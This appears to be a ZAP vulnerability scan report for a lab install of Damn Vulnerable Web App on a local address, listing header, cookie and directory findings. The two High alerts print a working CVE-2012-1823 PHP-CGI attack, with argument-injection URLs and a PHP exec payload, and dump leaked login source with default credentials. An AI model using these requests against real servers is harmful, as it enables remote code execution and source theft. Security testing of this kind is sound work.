ZAP by Checkmarx Scanning Report

Site: http://192.168.0.192

Generated on Tue, 2 Sept 2025 05:55:14

ZAP Version: 2.16.1

ZAP by Checkmarx

Summary of Alerts

Risk Level	Number of Alerts
High	2
Medium	5
Low	5
Informational	3

Alerts

Name	Risk Level	Number of Instances
Remote Code Execution - CVE-2012-1823	High	2
Source Code Disclosure - CVE-2012-1823	High	2
Absence of Anti-CSRF Tokens	Medium	2
Content Security Policy (CSP) Header Not Set	Medium	4
Directory Browsing	Medium	3
Hidden File Found	Medium	1
Missing Anti-clickjacking Header	Medium	2
Cookie No HttpOnly Flag	Low	2
Cookie without SameSite Attribute	Low	2
Server Leaks Information via "X-Powered-By" HTTP Response Header Field(s)	Low	4
Server Leaks Version Information via "Server" HTTP Response Header Field	Low	9
X-Content-Type-Options Header Missing	Low	5
Authentication Request Identified	Informational	1
Session Management Response Identified	Informational	1
User Agent Fuzzer	Informational	60

Alert Detail

High	Remote Code Execution - CVE-2012-1823
Description	Some PHP versions, when configured to run using CGI, do not correctly handle query strings that lack an unescaped "=" character, enabling arbitrary code execution. In this case, an operating system command was caused to be executed on the web server, and the results were returned to the web browser.
URL	http://192.168.0.192/dvwa/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
Method	POST
Attack	<?php exec('echo f5nstur35k9gv6ucvg3a',$colm);echo join(" ",$colm);die();?>
Evidence	f5nstur35k9gv6ucvg3a
Other Info	
URL	http://192.168.0.192/dvwa/login.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
Method	POST
Attack	<?php exec('echo f5nstur35k9gv6ucvg3a',$colm);echo join(" ",$colm);die();?>
Evidence	f5nstur35k9gv6ucvg3a
Other Info	
Instances	2
Solution	Upgrade to the latest stable version of PHP, or use the Apache web server and the mod_rewrite module to filter out malicious requests using the "RewriteCond" and "RewriteRule" directives.
Reference	https://owasp.org/www-community/vulnerabilities/Improper_Data_Validation https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html https://cwe.mitre.org/data/definitions/89.html
CWE Id	20
WASC Id	20
Plugin Id	20018

High	Source Code Disclosure - CVE-2012-1823
Description	Some PHP versions, when configured to run using CGI, do not correctly handle query strings that lack an unescaped "=" character, enabling PHP source code disclosure, and arbitrary code execution. In this case, the contents of the PHP file were served directly to the web browser. This output will typically contain PHP, although it may also contain straight HTML.
URL	http://192.168.0.192/dvwa/?-s
Method	GET
Attack	
Evidence	
Other Info	<?php define('DVWA_WEB_PAGE_TO_ROOT', ''); require_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; dvwaPageStartup(array('authenticated', 'phpids')); $page = dvwaPageNewGrab(); $page['title'] .= $page['title_separator'].'Welcome'; $page['page_id'] = 'home'; $page['body'] .= '' <div class=\" body_padded\"> Welcome to Damn Vulnerable Web App! Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment. WARNING! Damn Vulnerable Web App is damn vulnerable! Do not upload it to your hosting provider's public html folder or any internet facing web server as it will be compromised. We recommend downloading and installing " .dvwaExternalLinkUrlGet('http://www.apachefriends.org/en/xampp.html', 'XAMPP')." onto a local machine inside your LAN which is used solely for testing. Disclaimer We do not take

	responsibility for the way in which any one uses this application. We have made the purposes of the application clear and it should not be used maliciously. We have given warnings and taken measures to prevent users from installing DVWA on to live web servers. If your web server is compromised via an installation of DVWA it is not our responsibility it is the responsibility of the person/s who uploaded and installed it. General Instructions The help button allows you to view hits/tips for each vulnerability and for each security level on their respective page. "; dvwaHtmlEcho($page); ?>
URL	http://192.168.0.192/dvwa/login.php?-s
Method	GET
Attack	
Evidence	

Other Info	<?php define('DVWA_WEB_PAGE_TO_ROOT', ''); require_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; dvwaPageStartup(array('phpids')); dvwaDatabaseConnect(); if(isset($_POST['Login'])) { $user = $_POST ['username']; $user = stripslashes($user); $user = mysql_real_escape_string($user); $pass = $_POST['password']; $pass = stripslashes($pass); $pass = mysql_real_escape_string($pass); $pass = md5($pass); $qry = "SELECT * FROM `users` WHERE user='$user' AND password='$pass';" ; $result = @mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>'); if($result && mysql_num_rows($result) == 1) { // Login Successful... dvwaMessagePush("You have logged in as '".$user."'"); dvwaLogin($user); dvwaRedirect('index.php'); } // Login failed dvwaMessagePush("Login failed"); dvwaRedirect('login.php'); } $messagesHtml = messagesPopAllToHtml(); Header('Cache-Control: no-cache, must-revalidate'); // HTTP/1.1 Header('Content-Type: text/html; charset=utf-8'); // TODO- proper XHTML headers... Header("Expires: Tue, 23 Jun 2009 12: 00:00 GMT"); // Date in the past echo " <!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\"> <html xmlns=\" http://www.w3.org/1999/xhtml\"> <head> <meta http-equiv=\"Content-Type\" content=\"text /html; charset=UTF-8\" /> <title>Damn Vulnerable Web App (DVWA) - Login</title> <link rel=\"stylesheet\" type=\"text/css\" href=\"". DVWA_WEB_PAGE_TO_ROOT."dvwa/css /login.css\" /> </head> <body> <div align=\"center\">
	
	 <form action=\"login.php\" method=\"post\"> <fieldset> <label for=\"user\">Username</label> <input type=\"text\" class=\"loginInput\" size=\"20\" name=\"username\">
	 <label for=\" pass\">Password</label> <input type=\"password\" class=\"loginInput\" AUTOCOMPLETE=\"off\" size=\"20\" name=\"password\">
	 <p class=\"submit\"><input type=\"submit\" value=\"Login\" name=\"Login\"> </fieldset> </form>
	 {$messagesHtml}
	
	 <!-- --> Damn Vulnerable Web Application (DVWA) is a RandomStorm OpenSource project Hint: default username is 'admin' with password 'password' <!-- end align div --> < /body> </html> "; ?>

Instances	2
Solution	Upgrade to the latest stable version of PHP, or use the Apache web server and the mod_rewrite module to filter out malicious requests using the "RewriteCond" and "RewriteRule" directives.
Reference	https://owasp.org/www-community/vulnerabilities/Improper_Data_Validation https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html https://cwe.mitre.org/data/definitions/89.html
CWE Id	20
WASC Id	20
Plugin Id	20017

Medium	**Absence of Anti-CSRF Tokens**
	No Anti-CSRF tokens were found in a HTML submission form. A cross-site request forgery is an attack that involves forcing a victim to send an HTTP request to a target destination without their knowledge or intent in order to perform an action as the victim. The underlying cause is application functionality using predictable URL /form actions in a repeatable way. The nature of the attack is that CSRF exploits the trust

Description	that a web site has for a user. By contrast, cross-site scripting (XSS) exploits the trust that a user has for a web site. Like XSS, CSRF attacks are not necessarily cross-site, but they can be. Cross-site request forgery is also known as CSRF, XSRF, one-click attack, session riding, confused deputy, and sea surf. CSRF attacks are effective in a number of situations, including: * The victim has an active session on the target site. * The victim is authenticated via HTTP auth on the target site. * The victim is on the same local network as the target site. CSRF has primarily been used to perform an action against a target site using the victim's privileges, but recent techniques have been discovered to disclose information by gaining access to the response. The risk of information disclosure is dramatically increased when the target site is vulnerable to XSS, because XSS can be used as a platform for CSRF, allowing the attack to operate within the bounds of the same-origin policy.
URL	http://192.168.0.192/dvwa
Method	GET
Attack	
Evidence	<form action="login.php" method="post">
Other Info	No known Anti-CSRF token [anticsrf, CSRFToken, __RequestVerificationToken, csrfmiddlewaretoken, authenticity_token, OWASP_CSRFTOKEN, anoncsrf, csrf_token, _csrf, _csrfSecret, __csrf_magic, CSRF, _token, _csrf_token, _csrfToken] was found in the following HTML form: [Form 1: "Login" "password" "username"].
URL	http://192.168.0.192/dvwa/login.php
Method	GET
Attack	
Evidence	<form action="login.php" method="post">
Other Info	No known Anti-CSRF token [anticsrf, CSRFToken, __RequestVerificationToken, csrfmiddlewaretoken, authenticity_token, OWASP_CSRFTOKEN, anoncsrf, csrf_token, _csrf, _csrfSecret, __csrf_magic, CSRF, _token, _csrf_token, _csrfToken] was found in the following HTML form: [Form 1: "Login" "password" "username"].
Instances	2
Solution	Phase: Architecture and Design Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, use anti-CSRF packages such as the OWASP CSRFGuard. Phase: Implementation Ensure that your application is free of cross-site scripting issues, because most CSRF defenses can be bypassed using attacker-controlled script. Phase: Architecture and Design Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). Note that this can be bypassed using XSS. Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation. Note that this can be bypassed using XSS.

	Use the ESAPI Session Management control. This control includes a component for CSRF. Do not use the GET method for any request that triggers a state change. Phase: Implementation Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.
Reference	https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html https://cwe.mitre.org/data/definitions/352.html
CWE Id	352
WASC Id	9
Plugin Id	10202

Medium	**Content Security Policy (CSP) Header Not Set**
Description	Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks. These attacks are used for everything from data theft to site defacement or distribution of malware. CSP provides a set of standard HTTP headers that allow website owners to declare approved sources of content that browsers should be allowed to load on that page — covered types are JavaScript, CSS, HTML frames, fonts, images and embeddable objects such as Java applets, ActiveX, audio and video files.
URL	http://192.168.0.192/dvwa
Method	GET
Attack	
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/login.php
Method	GET
Attack	
Evidence	
Other Info	
URL	http://192.168.0.192/robots.txt
Method	GET
Attack	
Evidence	
Other Info	
URL	http://192.168.0.192/sitemap.xml
Method	GET
Attack	
Evidence	
Other Info	
Instances	4

Solution	Ensure that your web server, application server, load balancer, etc. is configured to set the Content-Security-Policy header.
Reference	https://developer.mozilla.org/en-US/docs/Web/Security/CSP/Introducing_Content_Security_Policy https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html https://www.w3.org/TR/CSP/ https://w3c.github.io/webappsec-csp/ https://web.dev/articles/csp https://caniuse.com/#feat=contentsecuritypolicy https://content-security-policy.com/
CWE Id	693
WASC Id	15
Plugin Id	10038

Medium	**Directory Browsing**
Description	It is possible to view the directory listing. Directory listing may reveal hidden scripts, include files, backup source files, etc. which can be accessed to read sensitive information.
URL	http://192.168.0.192/dvwa/dvwa/
Method	GET
Attack	http://192.168.0.192/dvwa/dvwa/
Evidence	Parent Directory
Other Info	
URL	http://192.168.0.192/dvwa/dvwa/css/
Method	GET
Attack	http://192.168.0.192/dvwa/dvwa/css/
Evidence	Parent Directory
Other Info	
URL	http://192.168.0.192/dvwa/dvwa/images/
Method	GET
Attack	http://192.168.0.192/dvwa/dvwa/images/
Evidence	Parent Directory
Other Info	
Instances	3
Solution	Disable directory browsing. If this is required, make sure the listed files does not induce risks.
Reference	https://httpd.apache.org/docs/mod/core.html#options
CWE Id	548
WASC Id	48
Plugin Id	0

Medium	**Hidden File Found**
Description	A sensitive file was identified as accessible or available. This may leak administrative, configuration, or credential information which can be leveraged by a malicious individual to further attack the system or conduct social engineering efforts.
URL	http://192.168.0.192/phpinfo.php

Method	GET
Attack	
Evidence	HTTP/1.1 200 OK
Other Info	phpinfo
Instances	1
Solution	Consider whether or not the component is actually required in production, if it isn't then disable it. If it is then ensure access to it requires appropriate authentication and authorization, or limit exposure to internal systems or specific source IPs, etc.
Reference	https://blog.hboeck.de/archives/892-Introducing-Snallygaster-a-Tool-to-Scan-for-Secrets-on-Web-Servers.html https://www.php.net/manual/en/function.phpinfo.php
CWE Id	538
WASC Id	13
Plugin Id	40035

Medium	**Missing Anti-clickjacking Header**
Description	The response does not protect against 'ClickJacking' attacks. It should include either Content-Security-Policy with 'frame-ancestors' directive or X-Frame-Options.
URL	http://192.168.0.192/dvwa
Method	GET
Attack	
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/login.php
Method	GET
Attack	
Evidence	
Other Info	
Instances	2
Solution	Modern Web browsers support the Content-Security-Policy and X-Frame-Options HTTP headers. Ensure one of them is set on all web pages returned by your site/app. If you expect the page to be framed only by pages on your server (e.g. it's part of a FRAMESET) then you'll want to use SAMEORIGIN, otherwise if you never expect the page to be framed, you should use DENY. Alternatively consider implementing Content Security Policy's "frame-ancestors" directive.
Reference	https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
CWE Id	1021
WASC Id	15
Plugin Id	10020

Low	**Cookie No HttpOnly Flag**
Description	A cookie has been set without the HttpOnly flag, which means that the cookie can be accessed by JavaScript. If a malicious script can be run on this page then the cookie will be accessible and can be transmitted to another site. If this is a session cookie then session hijacking may be possible.
URL	http://192.168.0.192/dvwa/

Method	GET
Attack	
Evidence	Set-Cookie: PHPSESSID
Other Info	
URL	http://192.168.0.192/dvwa/
Method	GET
Attack	
Evidence	Set-Cookie: security
Other Info	
Instances	2
Solution	Ensure that the HttpOnly flag is set for all cookies.
Reference	https://owasp.org/www-community/HttpOnly
CWE Id	1004
WASC Id	13
Plugin Id	10010

Low	**Cookie without SameSite Attribute**
Description	A cookie has been set without the SameSite attribute, which means that the cookie can be sent as a result of a 'cross-site' request. The SameSite attribute is an effective counter measure to cross-site request forgery, cross-site script inclusion, and timing attacks.
URL	http://192.168.0.192/dvwa/
Method	GET
Attack	
Evidence	Set-Cookie: PHPSESSID
Other Info	
URL	http://192.168.0.192/dvwa/
Method	GET
Attack	
Evidence	Set-Cookie: security
Other Info	
Instances	2
Solution	Ensure that the SameSite attribute is set to either 'lax' or ideally 'strict' for all cookies.
Reference	https://tools.ietf.org/html/draft-ietf-httpbis-cookie-same-site
CWE Id	1275
WASC Id	13
Plugin Id	10054

Low	**Server Leaks Information via "X-Powered-By" HTTP Response Header Field(s)**
Description	The web/application server is leaking information via one or more "X-Powered-By" HTTP response headers. Access to such information may facilitate attackers identifying other frameworks/components your web application is reliant upon and the vulnerabilities such components may be subject to.

URL	http://192.168.0.192/dvwa
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
Other Info	
URL	http://192.168.0.192/dvwa/
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
Other Info	
URL	http://192.168.0.192/dvwa/login.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
Other Info	
URL	http://192.168.0.192/dvwa/login.php
Method	POST
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
Other Info	
Instances	4
Solution	Ensure that your web server, application server, load balancer, etc. is configured to suppress "X-Powered-By" headers.
Reference	https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/08-Fingerprint_Web_Application_Framework https://www.troyhunt.com/2012/02/shhh-dont-let-your-response-headers.html
CWE Id	497
WASC Id	13
Plugin Id	10037

Low	**Server Leaks Version Information via "Server" HTTP Response Header Field**
Description	The web/application server is leaking version information via the "Server" HTTP response header. Access to such information may facilitate attackers identifying other vulnerabilities your web/application server is subject to.
URL	http://192.168.0.192/dvwa
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
Other Info	
URL	http://192.168.0.192/dvwa/

Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
Other Info	
URL	http://192.168.0.192/dvwa/dvwa/css/login.css
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
Other Info	
URL	http://192.168.0.192/dvwa/dvwa/images/login_logo.png
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
Other Info	
URL	http://192.168.0.192/dvwa/dvwa/images/RandomStorm.png
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
Other Info	
URL	http://192.168.0.192/dvwa/login.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
Other Info	
URL	http://192.168.0.192/robots.txt
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
Other Info	
URL	http://192.168.0.192/sitemap.xml
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
Other Info	
URL	http://192.168.0.192/dvwa/login.php
Method	POST
Attack	

Evidence	Apache/2.2.8 (Ubuntu) DAV/2
Other Info	
Instances	9
Solution	Ensure that your web server, application server, load balancer, etc. is configured to suppress the "Server" header or provide generic details.
Reference	https://httpd.apache.org/docs/current/mod/core.html#servertokens https://learn.microsoft.com/en-us/previous-versions/msp-n-p/ff648552(v=pandp.10) https://www.troyhunt.com/shhh-dont-let-your-response-headers/
CWE Id	497
WASC Id	13
Plugin Id	10036

Low	**X-Content-Type-Options Header Missing**
Description	The Anti-MIME-Sniffing header X-Content-Type-Options was not set to 'nosniff'. This allows older versions of Internet Explorer and Chrome to perform MIME-sniffing on the response body, potentially causing the response body to be interpreted and displayed as a content type other than the declared content type. Current (early 2014) and legacy versions of Firefox will use the declared content type (if one is set), rather than performing MIME-sniffing.
URL	http://192.168.0.192/dvwa
Method	GET
Attack	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://192.168.0.192/dvwa/dvwa/css/login.css
Method	GET
Attack	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://192.168.0.192/dvwa/dvwa/images/login_logo.png
Method	GET
Attack	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://192.168.0.192/dvwa/dvwa/images/RandomStorm.png
Method	GET
Attack	
Evidence	
Other	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages

Info	away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://192.168.0.192/dvwa/login.php
Method	GET
Attack	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
Instances	5
Solution	Ensure that the application/web server sets the Content-Type header appropriately, and that it sets the X-Content-Type-Options header to 'nosniff' for all web pages. If possible, ensure that the end user uses a standards-compliant and modern web browser that does not perform MIME-sniffing at all, or that can be directed by the web application /web server to not perform MIME-sniffing.
Reference	https://learn.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/compatibility/gg622941(v=vs.85) https://owasp.org/www-community/Security_Headers
CWE Id	693
WASC Id	15
Plugin Id	10021

Informational	**Authentication Request Identified**
Description	The given request has been identified as an authentication request. The 'Other Info' field contains a set of key=value lines which identify any relevant fields. If the request is in a context which has an Authentication Method set to "Auto-Detect" then this rule will change the authentication to match the request identified.
URL	http://192.168.0.192/dvwa/login.php
Method	POST
Attack	
Evidence	password
Other Info	userParam=Login userValue=Login passwordParam=password referer=http://192.168.0.192/dvwa/login.php
Instances	1
Solution	This is an informational alert rather than a vulnerability and so there is nothing to fix.
Reference	https://www.zaproxy.org/docs/desktop/addons/authentication-helper/auth-req-id/
CWE Id	
WASC Id	
Plugin Id	10111

Informational	**Session Management Response Identified**
Description	The given response has been identified as containing a session management token. The 'Other Info' field contains a set of header tokens that can be used in the Header Based Session Management Method. If the request is in a context which has a Session Management Method set to "Auto-Detect" then this rule will change the session management to use the tokens identified.
URL	http://192.168.0.192/dvwa/
Method	GET
Attack	

Evidence	9b38cf5265c2853391d32c81cdddb3c8
Other Info	cookie:PHPSESSID
Instances	1
Solution	This is an informational alert rather than a vulnerability and so there is nothing to fix.
Reference	https://www.zaproxy.org/docs/desktop/addons/authentication-helper/session-mgmt-id
CWE Id	
WASC Id	
Plugin Id	10112

Informational	**User Agent Fuzzer**
Description	Check for differences in response based on fuzzed User Agent (eg. mobile sites, access as a Search Engine Crawler). Compares the response statuscode and the hashcode of the response body with the original response.
URL	http://192.168.0.192/dvwa/
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0
Evidence	
Other Info	

URL	http://192.168.0.192/dvwa/
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/
Method	GET
Attack	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/
Method	GET
Attack	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/
Method	GET
Attack	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/
Method	GET
Attack	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/
Method	GET
Attack	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
Other Info	

URL	http://192.168.0.192/dvwa/dvwa
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/dvwa
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/dvwa
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/dvwa
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/dvwa
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/dvwa
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/dvwa
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/dvwa

Method	GET
Attack	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/dvwa
Method	GET
Attack	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/dvwa
Method	GET
Attack	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/dvwa
Method	GET
Attack	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/dvwa
Method	GET
Attack	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/dvwa/css
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/dvwa/css
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/dvwa/css

Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/dvwa/css
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/dvwa/css
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/dvwa/css
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/dvwa/css
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/dvwa/css
Method	GET
Attack	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/dvwa/css
Method	GET
Attack	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/dvwa/css
Method	GET

Attack	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/dvwa/css
Method	GET
Attack	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/dvwa/css
Method	GET
Attack	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/dvwa/images
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/dvwa/images
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/dvwa/images
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/dvwa/images
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/dvwa/images
Method	GET

Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/dvwa/images
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/dvwa/images
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/dvwa/images
Method	GET
Attack	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/dvwa/images
Method	GET
Attack	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/dvwa/images
Method	GET
Attack	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/dvwa/images
Method	GET
Attack	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
